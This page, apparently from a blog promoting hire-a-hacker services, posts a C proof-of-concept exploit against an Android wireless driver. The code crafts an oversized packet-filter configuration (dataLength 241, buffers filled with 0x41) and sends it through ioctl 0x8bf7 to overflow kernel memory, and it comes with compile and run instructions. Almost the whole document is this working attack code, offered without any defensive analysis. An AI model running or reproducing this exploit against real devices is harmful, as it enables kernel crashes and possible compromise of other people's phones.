Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374369

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
 * Coder: Shawn the R0ck, [citypw@gmail.com]
 * Co-worker: Pray3r, [pray3r.z@gmail.com]
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER     5

struct PacketFilterParamsCfg {
	v_U8_t protocolLayer;
	v_U8_t cmpFlag;
	v_U8_t dataOffset;
	v_U8_t dataLength;
	v_U8_t compareData[8];
	v_U8_t dataMask[8];
};

typedef struct {
	v_U8_t filterAction;
	v_U8_t filterId;
	v_U8_t numParams;
	struct PacketFilterParamsCfg
	    paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "Bad usage\n");
		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
		return -1;
	}

	struct iwreq req;
	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
	int fd, status, i = 0;
	fd = socket(AF_INET, SOCK_DGRAM, 0);
	tPacketFilterCfg p_req;

	/* crafting a data structure to triggering the code path */
	req.u.data.pointer =
	    malloc(sizeof(v_U8_t) * 3 +
		   sizeof(struct PacketFilterParamsCfg) * 5);
	p_req.filterAction = 1;
	p_req.filterId = 0;
	p_req.numParams = 3;
	for (; i < 5; i++) {
		p_req.paramsData[i].dataLength = 241;
		memset(&p_req.paramsData[i].compareData, 0x41, 16);
	}

	memcpy(req.u.data.pointer, &p_req,
	       sizeof(v_U8_t) * 3 +
	       sizeof(struct PacketFilterParamsCfg) * 5);

	if (ioctl(fd, 0x8bf7, &req) == -1) {
		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
			argv[1], strerror(errno));
	} else {
		printf("You shouldn't see this msg...\n");
	}

}